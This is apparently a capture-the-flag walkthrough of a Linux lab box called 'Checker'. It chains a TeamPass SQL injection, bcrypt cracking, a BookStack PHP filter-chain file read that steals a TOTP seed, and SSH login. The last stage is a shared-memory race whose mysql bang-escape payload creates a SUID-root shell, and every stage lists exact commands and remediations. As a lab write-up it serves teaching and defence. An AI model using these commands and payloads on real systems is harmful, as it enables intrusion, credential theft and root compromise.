← all walkthroughs

Checker

Linux· Hard· Credential Access· Privilege Escalation
owned
2026-10-13
time to own
59m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found two web apps on the host: an outdated TeamPass password manager (port 8080) and an outdated BookStack wiki (port 80, vhost checker.htb). An unauthenticated SQL injection in TeamPass exposed the users' bcrypt password hashes. The weak hash for 'bob' was cracked, and bob's TeamPass vault held his BookStack login and an SSH login for the system user 'reader'.

SSH needed a second factor, so I used BookStack's file-read flaw (CVE-2023-6199) to read files from the server. A world-readable, permission-stripped backup of reader's home directory exposed the TOTP secret. With the password and a freshly generated code, I logged in over SSH as reader.

Reader could run a root-owned hash-checking script through sudo without a password; that script leaked a predictable, world-writable shared-memory key and then fed its contents into a root mysql command, so a race plus a mysql bang-escape ran my commands as root for the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for bob>"
export TOTP_SECRET="<a-password-you-choose>"

Some commands also carry a value in angle brackets (<cookie>, <token>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationService and version fingerprinting
Mapped the two web applications and identified their versions
A port scan showed SSH (22) and two Apache sites (80 and 8080). Port 8080 set a 'teampass_session' cookie, which identified the TeamPass password manager. Port 80 only answered for the 'checker.htb' virtual host, where it served a BookStack login page. The page source disclosed the exact version (v23.10.2), a release with a known file-read flaw.
Teampass_session cookie returned on :8080; BookStack login page references styles.css?version=v23.10.2 on the checker.htb vhost.
Exact commands 4
shell

Find open ports and banners.

$ nmap -p- --min-rate=1000 -sC -sV $TARGET
shell

Resolve the vhost locally.

$ echo "$TARGET checker.htb" | sudo tee -a /etc/hosts
shell

Identify TeamPass from its session cookie.

$ curl -ksS -L --max-time 15 -D - http://$TARGET:8080/
shell

Fetch the BookStack login page and read the version string (v23.10.2).

$ curl --resolve checker.htb:80:$TARGET -ksS http://checker.htb/login -o bookstack_login.html; grep -in 'version' bookstack_login.html | tail -20
FixPatch TeamPass and BookStack, and keep both currentCritical
WeaknessBoth web apps were running outdated, publicly known vulnerable versions: TeamPass with an unauthenticated SQL injection (CVE-2023-1545) and BookStack v23.10.2 with a file-read flaw (CVE-2023-6199). The BookStack version was shown on the public login page.
FixUpgrade TeamPass to 3.0.0.22 or later and BookStack to a release fixed for CVE-2023-6199. Subscribe to vendor advisories and patch on a schedule. Restrict TeamPass to an admin network or VPN and hide version strings from public pages.
2Initial AccessSQL injection, CVE-2023-1545
Dumped user password hashes from TeamPass via SQL injection
TeamPass before 3.0.0.22 fails to sanitise input on its unauthenticated /api/index.php/authorize endpoint, which is vulnerable to a UNION-based SQL injection (CVE-2023-1545). The public PoC injects through the JWT public_key parameter and reads the login and bcrypt password-hash columns of teampass_users straight from the database, no login required.
The PoC recovered the login and bcrypt hash for admin and bob from teampass_users via /api/index.php/authorize.
Exact commands 2
shell

Fetch the public CVE-2023-1545 PoC (Exploit-DB 52094) into the working directory.

$ searchsploit -m 52094
shell

Dump each user's login and bcrypt hash; keep only the hash column in hashes.txt for cracking.

$ python3 52094.py http://$TARGET:8080 | tee teampass_users.txt
3Credential AccessOffline password cracking of bcrypt (T1110.002) and credentials from password stores (T1555.005)
Cracked bob's weak password and opened his TeamPass vault
The stolen bcrypt hash for bob fell to a wordlist attack because the password was weak. Logging in to TeamPass as bob exposed a folder holding two stored secrets: bob's BookStack login and an SSH login for the system user 'reader'.
Only bob's hash cracked from the wordlist; bob's vault held an item labelled for BookStack (user bob) and one labelled 'ssh access' (user reader).
Exact commands 2
shell

Bcrypt mode 3200; only bob's hash cracks in practice. The result is $PASSWORD for bob.

$ hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
shell

Using the reader password from bob's vault. SSH prompts for a verification code, so a second factor is required before access.

$ ssh reader@$TARGET
FixEnforce strong passwords and stop storing login chains in one vaultHigh
WeaknessBob's password was weak enough to crack from a bcrypt hash in a wordlist attack. His vault then held the credentials for both BookStack and the reader SSH account, so one cracked password opened several systems.
FixRequire long passphrases (14+ characters) and check them against breached-password lists. Use separate credentials per system and don't store SSH logins in a vault reachable from a web login alone. Require MFA on the password manager itself. Rotate bob's and reader's passwords now.
4Lateral MovementValid accounts and internal documentation discovery (T1078, T1213)
Logged in to BookStack as bob and read the backup-practices page
Bob's vault credentials worked on BookStack at checker.htb. Browsing bob's content, a page titled 'Basic Backup with cp' in the 'Linux Security' book described a plain cp-based backup that preserves the directory tree but not ownership or permissions. That implied a world-readable copy of reader's home directory under /backup/home_backup/. A direct web request for that path returned 404 because the backup is on disk, not served by the web server, which is why the file-read flaw is needed to read it.
The 'Basic Backup with cp' page documented a cp backup to /backup/home_backup/; a direct GET of /backup/home_backup/home/reader/.google_authenticator returned 404.
Exact commands 3
shell

Grab a login CSRF token for BookStack.

$ curl -ksS -c bs.jar --resolve checker.htb:80:$TARGET http://checker.htb/login | grep -oE 'name="_token" value="[^"]+"'
shell

Log in as bob, then browse the 'Linux Security' book and open 'Basic Backup with cp' to learn the backup path.

$ curl -ksS -b bs.jar -c bs.jar --resolve checker.htb:80:$TARGET -d '_token=<token>' --data-urlencode 'email=bob@checker.htb' --data-urlencode "password=$PASSWORD" http://checker.htb/login
shell

Confirms the backup file is not web-served (404), which is why the file-read flaw is needed.

$ curl -ksS -i --resolve checker.htb:80:$TARGET http://checker.htb/backup/home_backup/home/reader/.google_authenticator
FixRemove permission-stripping home backups from world-readable locationsHigh
WeaknessA documented 'cp'-based backup copied reader's home directory under /backup/home_backup/ without keeping ownership or permissions, leaving sensitive files, including the 2FA secret, readable by the web application's account.
FixUse a backup tool that preserves ownership and modes (for example rsync -a or restic), and store backups in a directory only root can read. Exclude secrets such as .google_authenticator and SSH keys, or encrypt the backup. Audit what the web service account can read, and keep the wiki from describing internal backup layout.
5ExploitationBlind local file read via PHP filter chains, CVE-2023-6199 (T1190, T1552.001)
Read reader's 2FA secret from the backup using BookStack's file-read flaw
BookStack v23.10.2 passes the 'html' field of its page draft-save request into a server-side file fetch (CVE-2023-6199). Using PHP filter chains as a blind file oracle, I recovered the world-readable backup copy of reader's .google_authenticator one character at a time. That file's first line is the base32 TOTP secret. The oracle runs against /ajax/page/8/save-draft and needs a live CSRF token and session cookie harvested from the page editor's autosave request.
The oracle read /etc/passwd as a proof, then /backup/home_backup/home/reader/.google_authenticator, recovering the base32 TOTP secret from its first line.
Exact commands 4
shell

Clone the oracle and enter the directory.

$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit && cd php_filter_chains_oracle_exploit
shell

Patch requestor.py so its PUT branch base64-wraps the chain and sends urlencoded form data: build the payload as <img src='data:image/png;base64,<b64>'/>, and change the PUT send to data='&'.join(f'{k}={v}' for k,v in merged_data.items()).

$ sed -i "1i import base64" requestor.py
shell

Prove the oracle on /etc/passwd first. Take the token and cookie from a live editor autosave; re-harvest if requests start failing.

$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<token>","Cookie":"bookstack_session=<cookie>"}'
shell

Leaks the first line of the file, the base32 TOTP secret ($TOTP_SECRET).

$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file /backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<token>","Cookie":"bookstack_session=<cookie>"}'
FixProtect TOTP seeds and don't let a leaked seed plus password equal full loginHigh
WeaknessThe SSH second factor depended on a TOTP seed stored in a file that could be read by another service. Once it leaked, the password and seed together gave the same access as the legitimate user, and nothing else (key-only login, source restrictions) limited it.
FixKeep TOTP seeds readable only by their owner and out of any backup scope. Prefer SSH public-key authentication (with MFA as an extra step) and restrict SSH by source address. Re-enrol reader's TOTP secret, because the old one is compromised.
6FootholdValid accounts: SSH with stolen MFA seed (T1078, T1021.004)
Logged in over SSH as reader with the vault password plus a generated 2FA code
With the leaked TOTP secret, I generated a current one-time code and combined it with reader's password from TeamPass to pass SSH's two-factor prompt. This gave an interactive shell as 'reader' and the user flag.
Id returned uid=1000(reader); user.txt was read from /home/reader.
Exact commands 3
shell

Generate the code immediately before logging in; codes expire quickly.

$ oathtool --totp -b $TOTP_SECRET
shell

Enter reader's vault password and the fresh verification code when prompted.

$ ssh reader@$TARGET
shell

Prove the context first -> <user.txt>

$ id; cat /home/reader/user.txt
uid=1000(reader)
7Privilege EscalationTOCTOU race on world-writable SysV shared memory feeding a root mysql command injection (CWE-367 / CWE-78)
Won a shared-memory race against the root hash-checker and injected a mysql bang-escape
Sudo -l showed reader could run /opt/hash-checker/check-leak.sh as root with no password. The script sanitises its one username argument, then execs a compiled helper that looks up the user's bcrypt hash and compares it against /opt/hash-checker/leaked_hashes.txt. When a username whose hash is in that list is supplied (bob qualifies, from the TeamPass dump), the helper writes a 'Leaked hash detected ... > <hash>' line into a SysV shared-memory segment created world-readable and world-writable (mode 1666) under a key from rand(), prints 'Using the shared memory 0x<KEY> as temp location', sleeps about one second, then re-reads the segment and interpolates everything after the '>' character, unescaped, into a root mysql command: mysql -u.. -e 'select email from teampass_users where pw="<value>"'. Because the key is printed and the segment is world-writable, a second process can attach the same segment during the one-second sleep and append a payload. Closing the SQL string and using the mysql client's \! Bang-escape runs an arbitrary shell command as root, which drops a SUID-root bash copy for the root flag.
check-leak.sh printed 'Using the shared memory 0x<KEY> as temp location' and the helper logged 'Leaked hash detected'; the injected payload produced a SUID-root /tmp/rootbash whose -p shell read /root/root.txt.
Exact commands 5
shell

Shows the passwordless entry for the hash-checker script.

$ sudo -l
shell

Read the script and copy the compiled helper off the host to confirm the shmget(rand())/1666 and mysql interpolation behaviour.

$ cat /opt/hash-checker/check-leak.sh; file /opt/hash-checker/*
shell

Helper that reads the printed 0x key, attaches the same segment, and appends your payload to the detected line during the sleep window.

$ printf '%s' '#include <sys/shm.h>\n#include <stdio.h>\n#include <string.h>\nint main(int c,char**v){char l[256];while(fgets(l,256,stdin)){char*p=strstr(l,"shared memory 0x");if(p){key_t k=strtol(p+14,0,16);int id=shmget(k,0,0);char*m=shmat(id,0,0);char*h=strstr(m,"Leaked hash detected");if(h)strcat(h,v[1]);shmdt(m);return 0;}}return 1;}' > race.c && gcc race.c -o race
shell

Run the sudo call and the race helper in lockstep; the ~1s sleep is the window. The bang-escape runs the cp/chmod as root.

$ mkfifo /tmp/p; ( sudo /opt/hash-checker/check-leak.sh bob > /tmp/p ) & cat /tmp/p | ./race '" or 1=1; \! /bin/sh -c "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"; #'
shell

Prove root with id, then read <root.txt>.

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
FixFix the hash-checker: remove the sudo grant, drop insecure shared memory, and never interpolate data into a shell/SQL commandCritical
WeaknessThe reader account could run /opt/hash-checker/check-leak.sh as root with no password. Its helper stored results in a world-writable (mode 1666) SysV shared-memory segment under a key it printed to stdout, then interpolated the segment's contents, unescaped, into a root mysql command, so a local user could win a race and inject a shell command via the mysql bang-escape.
FixRemove the NOPASSWD sudoers entry, or run the checker as a dedicated low-privilege service account. Create shared memory with owner-only permissions (0600) and an unpredictable key, or avoid IPC entirely. Never build a mysql -e string from untrusted bytes: use parameterised queries, and disable the client bang-escape. Validate and escape all inputs, and review other sudo grants across accounts with 'sudo -l'.

Exposed services

22/tcp
80/tcp
8080/tcp